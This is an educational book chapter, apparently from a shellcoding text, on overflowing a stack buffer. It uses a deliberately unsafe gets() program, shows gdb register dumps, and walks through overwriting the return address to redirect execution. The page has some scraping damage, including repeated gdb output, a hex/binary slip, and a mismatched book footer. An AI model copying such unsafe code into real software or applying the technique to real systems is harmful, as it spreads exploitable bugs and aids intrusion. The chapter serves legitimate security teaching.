Overflowing Buffers on the Stack

You should now have a solid understanding of what happens when a function is called and how it interacts with the stack. In this section, we are going to see what happens when we stuff too much data into a buffer. Once you have developed an understanding of what happens when a buffer is overflowed, we can move into more exciting material, namely exploiting a buffer overflow and taking control of execution.

Let's create a simple function that reads user input into a buffer, and then outputs the user input to stdout .

 void return_input (void){          char array[30];              gets (array);          printf("%s\n", array);      }     main() {          return_input();              return 0;      } 

This function allows the user to put as many elements into array as the user wants. Compile this program, again using the preferred stack boundary switch. Run the program, and then enter some user input to be fed into the buffer. For the first run, simply enter ten A characters .

 [root@localhost /]#  ./overflow AAAAAAAAAA AAAAAAAAAA 

Our simple function returns what was entered, and everything works fine. Now, let's put in 40 A s, which will overflow the buffer and start to write over other things stored on the stack.

 [root@localhost /]#  ./overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) [root@localhost /]# 

We got a segfault as expected, but why? What happened on the stack? Take a look at Figure 2.4, which shows how our stack looks after array is overflowed.

click to expand
Figure 2.4: Overflowing array results overwriting other items on the stack

We filled up array with 32 bytes of A , and then kept on going. We wrote the stored address of EBP , which is now a dword containing hexadecimal representation of A . More important, we wrote over RET with another dword of A . When the function exited, it read the value stored in RET , which is now 0x41414141 , the hexadecimal equivalent of AAAA , and attempted to jump to this address. This address is not a valid address, or is in protected address space, and the program terminated with a segmentation fault. But don't take our word for it; you should look at the core file to see what was in the registers at the time of segfault .

 [root@localhost /]#  gdb overflow core ... (gdb) info registers ... eax   0x29 ecx   0x1000 edx   0x0 ebx   0x401509e4 esp   0xbffffab8 ebp   0x41414141 esi   0x40016b64 edi   0xbffffb2c eip   0x41414141 ... 

The output has been edited somewhat to conserve space, but you should see something similar. EPB and EIP are both 0x41414141 ! That means we successfully wrote our A s out of the buffer and over EBP and RET .

Controlling EIP

We have now successfully overflowed a buffer, overwritten EBP and RET , and therefore caused our overflowed value to be loaded into EIP . All that has done is crash the program. While this overflow can be useful in creating a denial of service, the program that you're going to crash should be important enough that someone would care if it were not available. In our case, it's not. So, let's move on to controlling the path of execution, or basically, controlling what gets loaded into EIP , the instruction pointer.

In this section, we will take the previous overflow example and instead of filling the buffer with A s, we will fill it with the address of our choosing. The address will be written in the buffer and will overwrite EBP and RET with our new value. When RET is read off the stack and placed into EIP , the instruction at the address will be executed. This is how we will control execution.

First, we need to decide what address to use. Let's have the program call return_input instead of returning control to main . We need to determine to what address to jump, so we will have to go back to gdb and find out what address calls return_input .

 [root@localhost /]#  gdb overflow  ... (gdb) disas main Dump of assembler code for function main: 0x80484b8 <main>:          push    %ebp 0x80484b9 <main+1>:        mov     %esp,%ebp 0x80484bb <main+3>:        call    0x8048490 <return_input> 0x80484c0 <main+8>:        mov 
 [root@localhost /]# gdb overflow ... (gdb) disas main Dump of assembler code for function main: 0x80484b8 <main>: push %ebp 0x80484b9 <main+1>: mov %esp,%ebp 0x80484bb <main+3>: call 0x8048490 <return_input> 0x80484c0 <main+8>: mov $0x0,%eax 0x80484c5 <main+13>: pop %ebp 0x80484c6 <main+22>: ret End of assembler dump. 
x0,%eax 0x80484c5 <main+13>: pop %ebp 0x80484c6 <main+22>: ret End of assembler dump.

We see that the address we want to use is 0x80484bb .

Note 

Don't expect to have exactly the same addressesmake sure you check that you have found the correct address for return_input .

Since 0x80484bb does not translate cleanly into normal ASCII characters, we need to write a simple program to turn this address into character input. We can then take the output of this program and stuff it into the buffer in overflow . In order to write this program, you need to determine the size of your buffer and add 8 to it. Remember, the extra 8 bytes are for writing over EBP and RET . Check the prolog of return_input using gdb; you will learn how much space is reserved on the stack for array . In our case, we have the instruction:

 0x8048493 <return_input+3>:        sub 
 0x8048493 <return_input+3>: sub $0x20,%esp 
x20,%esp

The 0x20 hex value equates to 32 in binary, plus 8 gives us 40. Now we can write our address-to-character program.

 main(){ int i=0;  char stuffing[44];     for (i=0;i<=40;i+=4) *(long *) &stuffing[i] = 0x80484bb; puts(stuffing); } 

Let's dump the output of address_to_char into overflow . The program should wait for user input, as before. The program then spits out what was entered, which should be the output of address_to_char plus whatever you typed as user input. Now that we have overwritten RET , the program will execute 0x80484bb , which has been written into EIP . It will "loop," and wait for user input again.

 [root@localhost /]#  (./address_to_char;cat)  ./overflow input <__,input input input 

Congratulations, you have successfully exploited your first vulnerability!



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net